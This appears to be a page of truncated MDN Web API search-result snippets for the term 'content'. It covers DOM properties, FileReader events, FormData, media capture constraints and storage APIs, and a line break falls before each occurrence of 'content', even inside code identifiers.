to only obtain the html representation of the
contents of an element, or to replace the
contents of an element, use the innerhtml property instead.
... syntax var
content = element.outerhtml; element.outerhtml = htmlstring; value reading the value of outerhtml returns a domstring containing an html serialization of the element and its descendants.
... examples getting the value of an element's outerhtml property: html <div id="d"> <p>
content</p> <p>further elaborated</p> </div> javascript var d = document.getelementbyid("d"); console.log(d.outerhtml); // the string '<div id="d"><p>
content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = document.getelement...
Element.scrollHeight - Web APIs
the element.scrollheight read-only property is a measurement of the height of an element's
content, including
content not visible on the screen due to overflow.
... the scrollheight value is equal to the minimum height the element would require in order to fit all the
content in the viewport without using a vertical scrollbar.
...if the element's
content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight this property will round the value to an integer.
Comparison of Event Targets - Web APIs
unlike .originaltarget, .explicitoriginaltarget will never contain anonymous
content.
...see anonymous
content#event_flow_and_targeting for details.
... examples <!doctype html> <html> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible"
content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard { background-color: #99ff99; } ...
Event.originalTarget - Web APIs
(mozilla-specific) in presence of xbl anonymous
content this will be the anonymous node the event originally fired on.
... see anonymous
content#event_flow_and_targeting for more details.
... note: originaltarget may also be native anonymous
content (see bug 208427), in which case it's useless for non-privileged code.
File - Web APIs
the file interface provides information about files and allows javascript in a web page to access their
content.
... instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, end[,
contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob.
... blob.prototype.stream() transforms the file into a readablestream that can be used to read the file
contents.
FileReader: abort event - Web APIs
e"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { gr...
...id-area: log; } .event-log>label { display: block; } .event-log-
contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-
contents'); const reader = new filereader(); function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('...
...error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.text
content = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: load event - Web APIs
e"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { gr...
...id-area: log; } .event-log>label { display: block; } .event-log-
contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-
contents'); const reader = new filereader(); function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('...
...error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.text
content = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
e"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { gr...
...id-area: log; } .event-log>label { display: block; } .event-log-
contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-
contents'); const reader = new filereader(); function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('...
...error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.text
content = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
e"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { gr...
...id-area: log; } .event-log>label { display: block; } .event-log-
contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-
contents'); const reader = new filereader(); function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('...
...error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.text
content = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: progress event - Web APIs
e"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-
contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "preview log"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { gr...
...id-area: log; } .event-log>label { display: block; } .event-log-
contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-
contents'); const reader = new filereader(); function handleevent(event) { eventlog.text
content = eventlog.text
content + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('...
...error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.text
content = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
Using FormData Objects - Web APIs
ourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var
content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
... var blob = new blob([
content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file.
... you can also append a file or blob directly to the formdata object, like this: data.append("myfile", myblob, "filename.txt"); when using the append() method it is possible to use the third optional parameter to pass a filename inside the
content-disposition header that is sent to the server.
Fullscreen API - Web APIs
this makes it possible to present desired
content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off.
... note: these event handler properties are not available as html
content attributes.
... in other words, you cannot specify event handlers for fullscreenchange and fullscreenerror in the html
content.
GlobalEventHandlers.onanimationend - Web APIs
example html
content <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css
content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-t...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-
content: center; } the animation sequence is described next.
... javascript
content before we get to the animation code, we define a function which logs information to a box on the user's screen.
GlobalEventHandlers.onanimationstart - Web APIs
example html
content <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css
content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-t...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-
content: center; } the animation sequence is described next.
... javascript
content before we get to the animation code, we define a function which logs information to a box on the user's screen.
GlobalEventHandlers.oninput - Web APIs
it also handles these events on elements where
contenteditable or designmode are turned on.
... example this example logs the number of characters in an <input> element, every time you modify its
contents.
... html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.text
content = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.text
content += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression.
... html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted
content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
...*/ (function () { const ssecret = /* choose your hidden word...: */ "exit"; let noffset = 0; document.onkeypress = function(opevt) { let oevent = opevt || window.event, nchr = oevent.charcode, snodetype = oevent.target.nodename.touppercase(); if (nchr === 0 || oevent.target.
contenteditable.touppercase() === "true" || snodetype === "textarea" || snodetype === "input" && oevent.target.type.touppercase() === "text") { return true; } if (nchr !== ssecret.charcodeat(noffset)) { noffset = nchr === ssecret.charcodeat(0) ?
HTMLElement: beforeinput event - Web APIs
the event also applies to elements with
contenteditable enabled, and to any element when designmode is turned on.
... in the case of
contenteditable and designmode, the event target is the editing host.
... html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.text
content = e.target.value; } result specifications specification status ui eventsthe definition of 'beforeinput event' in that specification.
HTMLElement.dir - Web APIs
the htmlelement.dir property gets or sets the text writing directionality of the
content of the current element.
... browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring
content.
... possible values for dir are ltr, for left-to-right, rtl, for right-to-left, and auto for specifying that the direction of the element must be determined based on the
contents of the element.
HTMLElement.hidden - Web APIs
the hidden property applies to all presentation modes and should not be used to hide
content that is meant to be directly accessible to the user.
... appropriate use cases for hidden include:
content that isn't yet relevant but may be needed later
content that was previously needed but is not any longer
content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding
content in one presentation while intending it to be visible in others elements that are not hidden must not link to elements which are.
...now get out there and do awesome things awesomely to make the world more awesome!</p> </div> css the
content is styled using the css below.
HTMLElement: input event - Web APIs
bubbles yes cancelable no interface inputevent event handler property globaleventhandlers.oninput the event also applies to elements with
contenteditable enabled, and to any element when designmode is turned on.
... in the case of
contenteditable and designmode, the event target is the editing host.
... html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('input', updatevalue); function updatevalue(e) { log.text
content = e.target.value; } result specifications specification status html living standardthe definition of 'input event' in that specification.
HTMLElement.offsetHeight - Web APIs
for the document body object, the measurement includes total linear
content height instead of the element's css height.
... floated elements extending below other linear
content are ignored.
...however, non-scrollable elements may have large offsetheight values, much larger than the visible
content.
HTMLIFrameElement.csp - Web APIs
the csp property of the htmliframeelement interface specifies the
content security policy that an embedded document must agree to enforce upon itself.
... syntax var csp = htmliframeelement.csp htmliframeelement.csp = csp value a
content security policy.
... specifications specification status comment
content security policy: embedded enforcementthe definition of 'csp' in that specification.
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src
content attribute, or programmatically by setting the element's src property.
... if you use the srcset
content attribute to provide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset.
... additionally, if you use src along with both sizes (or the corresponding sizes
content attribute) and srcset in order to choose an image based on the viewport size, the src attribute is only used as a fallback for browsers that don't support sizes and srcset; otherwise, it's not used at all.
HTMLOptionElement - Web APIs
if this attribute isn't specifically set, reading it returns the element's text
content.
... htmloptionelement.text is a domstring that contains the text
content of the element.
... htmloptionelement.value is a domstring that reflects the value of the value html attribute, if it exists; otherwise reflects value of the node.text
content property.
HTMLScriptElement - Web APIs
these algorithms describe the core ideas, but they rely on the parsing rules for <script> start and end tags in html, in foreign
content, and in xml; the rules for the document.write() method; the handling of scripting; and so on.
... htmlscriptelement.text is a domstring that joins and returns the
contents of all text nodes inside the <script> element (ignoring other nodes like comments) in tree order.
... on setting, it acts the same way as the text
content idl attribute.
HTMLSlotElement - Web APIs
if no assigned nodes are found, it returns the slot's fallback
content.
...if no assigned nodes are found, it returns the slot's fallback
content.
...ots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its
contents changed in the example.
HTMLTableCellElement - Web APIs
it indicates the alignment of the element's
contents with respect to the surrounding context.
... htmltablecellelement.nowrap a boolean value reflecting the nowrap attribute and indicating if cell
content can be broken in several lines.
... htmltablecellelement.valign a domstring representing an enumerated value indicating how the
content of the cell must be vertically aligned.
HTMLTextAreaElement - Web APIs
defaultvalue string: returns / sets the control's default value, which behaves like the node.text
content property.
... select() selects the
contents of the control.
... obsolete the property defaultvalue doesn't contain the initial value of the value attribute, but the initial value of the
content of the <textarea>.
InputEvent - Web APIs
the inputevent interface represents an event notifying of editable
content change.
... inputevent.datatransferread only returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editable
content.
... inputevent.inputtyperead only returns the type of change for editable
content such as, for example, inserting, deleting, or formatting text.
LockedFile - Web APIs
lockedfile.readasarraybuffer() allows to retrieve a part of the
content of the file as an arraybuffer.
... lockedfile.readastext() allows to retrieve a part of the
content of the file as a string.
... lockedfile.truncate() allows to truncate the file's
content.
MediaStreamConstraints.audio - Web APIs
html
content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css
content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid b...
...lack; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript
content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only stream with no specific constraints, then attaches the resulting stream to an <audio> element once the stream is returned.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html
content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css
content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript
content let audioelement = document.getelementbyid("audio"); let logelement =...
MediaStreamConstraints.video - Web APIs
html
content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css
content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid b...
...lack; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript
content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only stream with no specific constraints, then attaches the resulting stream to a <video> element once the stream is returned.
... result using a mediatrackconstraints object now let's look at a similar example that uses a set of constraints based on the mediatrackconstraints dictionary: html
content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css
content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript
content let videoelement = document.getelementbyid("video"); let logelement =...
MediaTrackSettings.displaySurface - Web APIs
browser the stream's video track presents the entire
contents of a single browser tab which the user selected during the getdisplaymedia() call.
... monitor the video track in the stream presents the complete
contents of one or more of the user's screens.
... window the stream's video track presents the
contents of a single window selected by the user.
MediaTrackSettings - Web APIs
possible values are: always the mouse is always visible in the video
content of the {domxref("mediastream"), unless the mouse has moved outside the area of the
content.
... browser the stream contains the
contents of a single browser tab selected by the user.
... monitor the stream's video track contains the entire
contents of one or more of the user's screens.
Media Capabilities API - Web APIs
if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : {
contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " +
contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs.
... media capabilities information enables websites to enable adaptative streaming to alter the quality of
content based on actual user-perceived quality, and react to a pick of cpu/gpu usage in real time.
Transcoding assets for Media Source Extensions - Web APIs
bento4 — a set of command-line utilities for getting asset metadata and creating
content for dash.
...put the
contents of the bin directory in the same place as ffmpeg.
... creating
content for dash given that you have ffmpeg and bento4's utilities accessible through your $path, you can run bento4's mp4-dash-encode.py python script to generate multiple encodings of your
content at various resolutions.
MutationObserverInit.characterData - Web APIs
the mutationobserverinit dictionary's optional characterdata property is used to specify whether or not to monitor the node or nodes being observed for changes to their textual
contents.
... note that this doesn't monitor
content of an htmlelement, even if it only contains text inside, as it only monitors text nodes themselves.
... if true, the callback specified when observe() was used to start observing the node or subtree is called any time the
contents of a text node are changed.
MutationObserverInit.characterDataOldValue - Web APIs
if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's
contents.
... syntax var options = { characterdataoldvalue: true | false } value a boolean value indicating whether or not to set the mutationrecord's oldvalue property to be a string containing the value of the character node's
contents prior to the change represented by the mutation record.
...to watch for changes to the text
contents of all descendants of target, set the subtree option to true.
Navigator - Web APIs
properties doesn't inherit any properties, but implements those defined in navigatorid, navigatorlanguage, navigatoronline, navigator
contentutils, navigatorstorage, navigatorstorageutils, navigatorconcurrenthardware, navigatorplugins, and navigatorusermedia.
... methods doesn't inherit any method, but implements those defined in navigatorid, navigator
contentutils, navigatorusermedia, and navigatorstorageutils.
... navigator.register
contenthandler() obsolete since gecko 59 allows web sites to register themselves as a possible handler for a given mime type.
Page Visibility API - Web APIs
possible values are: visible the page
content may be at least partially visible.
... hidden the page's
content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the device's screen is off.
... prerender the page's
content is being prerendered and is not visible to the user.
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied
content-codings.
... if the resource is retrieved from an application cache or local resources, it returns the size of the payload after removing any applied
content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied
content-codings.
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied
content-codings.
... if the resource is retrieved from an application cache or a local resource, it must return the size of the payload body before removing any applied
content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied
content-codings.
Range.getBoundingClientRect() - Web APIs
the range.getboundingclientrect() method returns a domrect object that bounds the
contents of the range; this is a rectangle enclosing the union of the bounding rectangles for all the elements in the range.
... syntax boundingrect = range.getboundingclientrect() example html <div id="highlight"></div> <p>this example positions a "highlight" rectangle behind the
contents of a range.
... the range's
content <b>starts here</b> and continues on until it <b>ends here</b>.
ReadableStream.ReadableStream() - Web APIs
the
contents of this method are defined by the developer, and should aim to get access to the stream source, and do anything else required to set up the stream fuctionality.
...the
contents should do whatever is necessary to release access to the stream source.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.text
content = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(in...
Request - Web APIs
this is a string indicating the type of
content being requested.
... request implements body, so it also inherits the following properties: body read only a simple getter used to expose a readablestream of the body
contents.
...= request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body
content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or readablestream type, so for ...
SVGGraphicsElement: cut event - Web APIs
if the user attempts a cut action on uneditable
content, the cut event still fires but the event object contains no data.
... a handler for this event can modify the clipboard
contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's
contents.
SVGTextPathElement - Web APIs
ff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtext
contentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtext
contentelement</text></a><polyline points="51,89 41,84 41,94 51,89" stroke="#d4dde4" fill="none"/><line x1="41" y1="89...
... properties this interface also inherits properties from its parent interface, svgtext
contentelement, and also implements properties of svgurireference.
... methods this interface does not provide any specific methods, but implements those of its parent, svgtext
contentelement, and also implements methods of svgurireference.
SVGTextPositioningElement - Web APIs
ff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtext
contentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtext
contentelement</text></a><polyline points="51,89 41,84 41,94 51,89" stroke="#d4dde4" fill="none"/><line x1="41" y1="89...
...50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-114" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpositioningelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgtext
contentelement.
... methods this interface doesn't provide any specific methods, but inherits methods from its parent, svgtext
contentelement.
Screen Wake Lock API - Web APIs
if ('wakelock' in navigator) { issupported = true; statuselem.text
content = 'screen wake lock api supported!'; } else { wakebutton.disabled = true; statuselem.text
content = 'wake lock is not supported by this browser.'; } requesting a wake lock the following example demonstrates how to request a wakelocksentinel object.
... // create a reference for the wake lock let wakelock = null; // create an async function to request a wake lock const requestwakelock = async () => { try { wakelock = await navigator.wakelock.request('screen'); // change up our interface to reflect wake lock active statuselem.text
content = 'wake lock is active!'; } catch (err) { // if wake lock request fails - usually system related, such as battery statuselem.text
content = `${err.name}, ${err.message}`; } } releasing wake lock the following example shows how to release the previously acquired wake lock.
... wakelock.addeventlistener('release', () => { // the wake lock has been released statuselem.text
content = 'wake lock has been released'; }); reacquiring a wake lock the following code reacquires the wake lock should the visibility of the document change and the wake lock is released.
SecurityPolicyViolationEvent - Web APIs
the securitypolicyviolationevent interface inherits from event, and represents the event object of an event sent on a document or worker when its
content security policy is violated.
... examples document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); console.log(e.violateddirective); console.log(e.originalpolicy); }); specifications specification status comment
content security policy level 2the definition of 'securitypolicyviolationevent' in that specification.
...
content security policy level 3the definition of 'securitypolicyviolationevent' in that specification.
ServiceWorkerRegistration.index - Web APIs
the index read-only property of the serviceworkerregistration interface returns a reference to the
contentindex interface, which allows for indexing of offline
content.
... syntax var a
contentindex object = serviceworkerregistration.index; value a
contentindex object examples you can access the property from either your main script or the registered service worker.
... here is an example from the main script: // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { //
content index api functionality const
contentindex = registration.index; } from the service worker: // service worker script const
contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store
content-accessible data for individual web sites.
... origin 2 has no data stored in it yet; it's just an empty box waiting for
content.
... if a box is marked as "persistent", the
contents won't be cleared by the user agent without either the data's origin itself or the user specifically doing so.
Using the Storage Access API - Web APIs
usage notes the storage access api is designed to allow embedded
content to request access to storage that would otherwise be blocked when a user’s browser is set to block all third-party cookies.
... since embedded
content won’t know which storage policy is in use by the user, it’s best to always check whether the embedded frame has storage access before attempting to read or write from storage.
...}); note that access requests are automatically denied unless the embedded
